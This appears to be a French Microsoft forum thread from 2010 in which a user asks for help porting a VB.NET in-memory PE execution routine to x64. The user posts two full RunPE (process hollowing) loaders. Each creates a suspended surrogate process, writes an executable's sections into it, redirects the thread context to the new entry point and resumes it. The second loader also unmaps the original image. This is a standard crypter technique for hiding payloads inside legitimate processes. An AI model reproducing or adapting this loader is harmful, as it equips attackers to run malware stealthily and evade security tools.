none
wow64 context RRS feed

  • Question

  • Bonjour, pour ceux qui ont lu mes dernières questions en voici une nouvelle et j'espere la dernière!

    Je résume la situation, je viens de terminer un programme de protection de code source .net dont la plus importante partie est l'execution en mémoire.

    Mon programme fonctionne parfaitement avec tous les OS windows x86 mais pas dans un contexte x64.

    Je voulai savoir si quelqu'un ici connaissai un peu le contexte x64 avec vb.net et pourrai m'aiguiller dans la modification de mon code.

    Voici la classe qui pose problème :

    Option Strict On
    Option Explicit On
    
    Imports System.Runtime.InteropServices
    Imports System.Text
    
    Public Class x86
    
      Private Shared ReadOnly prot() As Integer = {1, 16, 2, 32, 4, 64, 4, 64}
    
      <System.Security.SuppressUnmanagedCodeSecurity()> _
      Private Class Win32
    
        <DllImport("kernel32")> Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, _
         ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, _
         ByVal creation As Integer, ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo() As Byte, _
         ByVal pInfo() As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    
        <DllImport("kernel32")> Shared Function GetThreadContext(ByVal hThr As IntPtr, _
         ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    
        <DllImport("kernel32")> Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, _
     ByRef bufr As IntPtr, ByVal bufrSize As IntPtr, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    
        <DllImport("kernel32")> Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, _
     ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
        End Function
    
        <DllImport("kernel32")> Shared Function WriteProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, _
     ByVal buff() As Byte, ByVal size As IntPtr, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    
        <DllImport("kernel32")> Shared Function ResumeThread(ByVal hThr As IntPtr) As Integer
        End Function
    
        <DllImport("kernel32")> Shared Function SetThreadContext(ByVal hThr As IntPtr, _
        ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    
    
        <DllImport("kernel32")> Shared Function VirtualProtectEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, _
         ByVal size As IntPtr, ByVal newProt As Integer, ByRef oldProt As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    
      End Class
    
      Public Shared Sub execPE(ByVal bytes() As Byte, ByVal surrogateProcess As String)
        Dim offsetNtHeaders As Integer = BitConverter.ToInt32(bytes, 60)
        Dim numberOfSections As Integer = BitConverter.ToInt16(bytes, offsetNtHeaders + 6)
        Dim sizeOfHeaders As New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 84))
        Dim si(67) As Byte
        Dim pi(3) As IntPtr
        If Not Win32.CreateProcess(Nothing, New StringBuilder(surrogateProcess), Nothing, Nothing, _
          False, 4, Nothing, Nothing, si, pi) Then Return
        Dim ctxt(178) As UInteger
        ctxt(0) = &H10002
        Dim base, junk, addr As IntPtr
        Dim res As Boolean
        Dim junk2 As Integer
        Win32.GetThreadContext(pi(1), ctxt)
        Win32.ReadProcessMemory(pi(0), New IntPtr(ctxt(41) + 8), addr, New IntPtr(4), junk)
        base = Win32.VirtualAllocEx(pi(0), New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 52)), _
        New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 80)), 12288, 64)
        res = Win32.WriteProcessMemory(pi(0), base, bytes, sizeOfHeaders, junk)
        For i As Integer = 0 To numberOfSections - 1
          Dim sh(9) As Integer
          Buffer.BlockCopy(bytes, offsetNtHeaders + 248 + (i * 40), sh, 0, 40)
          Dim raw(sh(4) - 1) As Byte
          Buffer.BlockCopy(bytes, sh(5), raw, 0, raw.Length)
          res = Win32.WriteProcessMemory(pi(0), New IntPtr(base.ToInt32 + sh(3)), raw, New IntPtr(raw.Length), junk)
          res = Win32.VirtualProtectEx(pi(0), New IntPtr(base.ToInt32 + sh(3)), _
           New IntPtr(sh(2)), prot((sh(9) >> 29) And &H7), junk2)
        Next
        res = Win32.WriteProcessMemory(pi(0), New IntPtr(ctxt(41) + 8), BitConverter.GetBytes(base.ToInt32), _
        New IntPtr(4), junk)
        ctxt(44) = CType(base.ToInt32 + BitConverter.ToInt32(bytes, offsetNtHeaders + 40), UInteger)
        Win32.SetThreadContext(pi(1), ctxt)
        Win32.ResumeThread(pi(1))
      End Sub
    
    End Class

    
    
    

     

    Donc ça fonctionne parfaitement avec x86 mais pas x64.

    message d'erreur :

     

    System.ArgumentException was unhandled
    Message="Offset and length were out of bounds for the array or count is greater than the number 
    of elements from index to the end of the source collection." ParamName="" Source="mscorlib" StackTrace: at System.Buffer.BlockCopy(Array src, Int32 srcOffset, Array dst, Int32 dstOffset, Int32 count) at MemExec.x64.execPE(Byte[] bytes, String surrogateProcess) in \x64.vb:line 74 at MemExec.Module1.Main() in Module1.vb:line 8 at System.AppDomain._nExecuteAssembly(Assembly assembly, String[] args) at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly() at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Threading.ThreadHelper.ThreadStart()

     

    Je pense qu'il faut modifier les API et utiliser Wow64GetThreadContext ainsi que Wow64SetThreadContext et qu'il faut également modifier les valeurs de context que j'ai utilisé.

    Je ne trouve malheureusement aucune info sur ces api en vb.net.

    mardi 13 juillet 2010 21:02

Toutes les réponses

  • Bonjour,

     

    Pouvez-vous nous montrer la partie de code que vous avez écrit pour utiliser cette classe ?

     

    Cordialement,

    Alex

    ________________

    Publiez un article sur une de ces technologies : Visual Basic, C#, C++, .NET, ASP.NET, SQL Server, Silverlight, SharePoint 2010, SharePoint 2007

    Astuces pour Visual Studio 2010

    Didacticiels et astuces : VB.NET, C#, ASP.NET, .NET Framework, Silverlight, Workflow Foundation, WPF

    Café des usages

    Microsoft propose ce service gratuitement, dans le but d'aider les utilisateurs et d'élargir les connaissances générales liées aux produits et technologies Microsoft. Ce contenu est fourni "tel quel" et il n'implique aucune responsabilité de la part de Microsoft.

     

     

     

    mercredi 14 juillet 2010 13:23
  • Bonjour,

     

    Pouvez-vous nous montrer la partie de code que vous avez écrit pour utiliser cette classe ?

     

    Cordialement,

    Alex

     

    ________________

    Publiez un article sur une de ces technologies : Visual Basic , C# , C++ , .NET , ASP.NET , SQL Server , Silverlight , SharePoint 2010 , SharePoint 2007

    Astuces pour Visual Studio 2010

    Didacticiels et astuces : VB.NET , C# , ASP.NET , .NET Framework , Silverlight , Workflow Foundation , WPF

    Café des usages

    Microsoft propose ce service gratuitement, dans le but d'aider les utilisateurs et d'élargir les connaissances générales liées aux produits et technologies Microsoft. Ce contenu est fourni "tel quel" et il n'implique aucune responsabilité de la part de Microsoft.

     

     

     


    x86.execPE(IO.File.ReadAllBytes("file.exe"), Process.GetCurrentProcess.MainModule.FileName)
    mercredi 14 juillet 2010 22:41
  • Bonjour,

     

    J’ai reproduit votre application et j’obtiens une erreur quand cette ligne est exécutée, en mode x64 :

    Buffer.BlockCopy(bytes, sh(5), raw, 0, raw.Length)

     

     

    J’avoue que je ne comprends pas toute la logique de la méthode execPE. Je vais continuer à l’analyser mais, pour le moment, pouvez-vous confirmer que vous obtenez l’erreur à la même ligne ?

     

    Cordialement,

    Alex

    ________________

    Publiez un article sur une de ces technologies : Visual Basic, C#, C++, .NET, ASP.NET, SQL Server, Silverlight, SharePoint 2010, SharePoint 2007

    Astuces pour Visual Studio 2010

    Didacticiels et astuces : VB.NET, C#, ASP.NET, .NET Framework, Silverlight, Workflow Foundation, WPF

    Café des usages

    Microsoft propose ce service gratuitement, dans le but d'aider les utilisateurs et d'élargir les connaissances générales liées aux produits et technologies Microsoft. Ce contenu est fourni "tel quel" et il n'implique aucune responsabilité de la part de Microsoft.

     

     

     

    jeudi 15 juillet 2010 12:37
  • Oui sur la même ligne
    jeudi 15 juillet 2010 19:49
  • Je ne sais pas si ça peut vous aider mais voici une classe qui fait exactement la même chose mais en plus détaillé :

     

    Class PE
    
      Public Const PAGE_NOCACHE As Long = &H200
      Public Const PAGE_EXECUTE_READWRITE As Long = &H40
      Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
      Public Const PAGE_EXECUTE_READ As Long = &H20
      Public Const PAGE_EXECUTE As Long = &H10
      Public Const PAGE_WRITECOPY As Long = &H8
      Public Const PAGE_NOACCESS As Long = &H1
      Public Const PAGE_READWRITE As Long = &H4
      Public Const PAGE_READONLY As System.UInt32 = &H2
    
      Shared Sub execPE(ByVal data() As Byte, ByVal target As String)
     Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
     Dim GC = System.Runtime.InteropServices.GCHandle.Alloc(data, System.Runtime.InteropServices.GCHandleType.Pinned)
     Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
     Dim DH As New H.DOS_Header
     DH = System.Runtime.InteropServices.Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType)
     GC.Free()
     If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
     Dim NH As New H.NT_Headers
     NH = System.Runtime.InteropServices.Marshal.PtrToStructure(New System.IntPtr(Buffer + DH.Address), NH.GetType)
     Dim Address, Offset As Long, ret As UInteger
     SI.CB = Len(SI)
     C.Flags = 65538
     If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
     If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
      Dim ImageBase As System.UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4)
      If ImageBase <> 0 Then
      H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
      Offset = DH.Address + 248
      For I As Integer = 0 To NH.File.Sections - 1
      SH = System.Runtime.InteropServices.Marshal.PtrToStructure(New System.IntPtr(Buffer + Offset + I * 40), SH.GetType)
      Dim Raw(SH.Size) As Byte
      For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next
      H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
      H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags), Address)
      Next I
      Dim T = BitConverter.GetBytes(ImageBase)
      H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
      C.Eax = ImageBase + NH.Optional.Address
      H.SetThreadContext(PI.Thread, C)
      H.ResumeThread(PI.Thread)
      End If
     End If
      End Sub
    
      Public Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
     RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
      End Function
      Public Shared Function vbLongToULong(ByVal Value As Long) As Double
     Const OFFSET_4 = 4294967296.0#
     If Value < 0 Then
      vbLongToULong = Value + OFFSET_4
     Else
      vbLongToULong = Value
     End If
      End Function
    
      Public Shared Function Protect(ByVal characteristics As Long) As Long
     Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
     PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
     PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
     Protect = mapping(RShift(characteristics, 29))
      End Function
    
      <System.ComponentModel.EditorBrowsable(1)> Friend Class H
     <System.Runtime.InteropServices.StructLayout(0)> Structure Context
      Dim Flags, D0, D1, D2, D3, D6, D7 As System.UInt32, Save As Save
      Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As System.UInt32
      <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte()
     End Structure
     <System.Runtime.InteropServices.StructLayout(0)> Structure Save
      Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
      <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
      Dim State As System.UInt32
     End Structure
     Structure Misc
      Dim Address, Size As System.UInt32
     End Structure
     Structure Section_Header
      Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As System.UInt32
     End Structure
     Structure Process_Information
      Dim Process, Thread As System.IntPtr, ProcessId, ThreadId As Integer
     End Structure
     <System.Runtime.InteropServices.StructLayout(0, CharSet:=3)> Structure Startup_Information
      Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer
      Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
     End Structure
     <System.Runtime.InteropServices.StructLayout(0)> Structure Security_Flags
      Dim Length As Integer, Descriptor As System.IntPtr, Inherit As Integer
     End Structure
     <System.Runtime.InteropServices.StructLayout(0)> Structure DOS_Header
      Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As System.UInt16
      <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As System.UInt16()
      Dim ID, Info As System.UInt16
      <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As System.UInt16()
      Dim Address As System.Int32
     End Structure
     Structure NT_Headers
      Dim Signature As System.UInt32, File As File_Header, [Optional] As Optional_Headers
     End Structure
     <System.Runtime.InteropServices.StructLayout(0)> Structure File_Header
      Dim Machine, Sections As System.UInt16, Stamp, Table, Symbols As System.UInt32, Size, Flags As System.UInt16
     End Structure
     <System.Runtime.InteropServices.StructLayout(0)> Structure Optional_Headers
      Public Magic As System.UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As System.UInt32, SectionA, FileA As System.UInt32
      Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As System.UInt16, Version, SImage, SHeaders, Checksum As System.UInt32, Subsystem, Flags As System.UInt16
      Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As System.UInt32
      <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As Data_Directory()
     End Structure
     <System.Runtime.InteropServices.StructLayout(0)> Structure Data_Directory
      Dim Address, Size As System.UInt32
     End Structure
     Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As System.UInt32, ByVal system As System.IntPtr, ByVal current As String, <System.Runtime.InteropServices.In()> ByRef startup As Startup_Information, <System.Runtime.InteropServices.Out()> ByRef info As Process_Information) As Boolean
     Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal buffer As Byte(), ByVal size As System.IntPtr, <System.Runtime.InteropServices.Out()> ByRef written As Integer) As Boolean
     Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByRef buffer As System.IntPtr, ByVal size As System.IntPtr, ByRef read As Integer) As Integer
     Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal size As System.UIntPtr, ByVal [new] As System.UIntPtr, <System.Runtime.InteropServices.Out()> ByVal old As System.UInt32) As Integer
     Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal size As System.UInt32, ByVal type As System.UInt32, ByVal protect As System.UInt32) As System.IntPtr
     Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As System.IntPtr, ByVal address As System.IntPtr) As Long
     Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As System.IntPtr) As System.UInt32
     Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As System.IntPtr, ByRef context As Context) As Boolean
     Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As System.IntPtr, ByRef context As Context) As Boolean
      End Class
    End Class
    

    vendredi 16 juillet 2010 08:54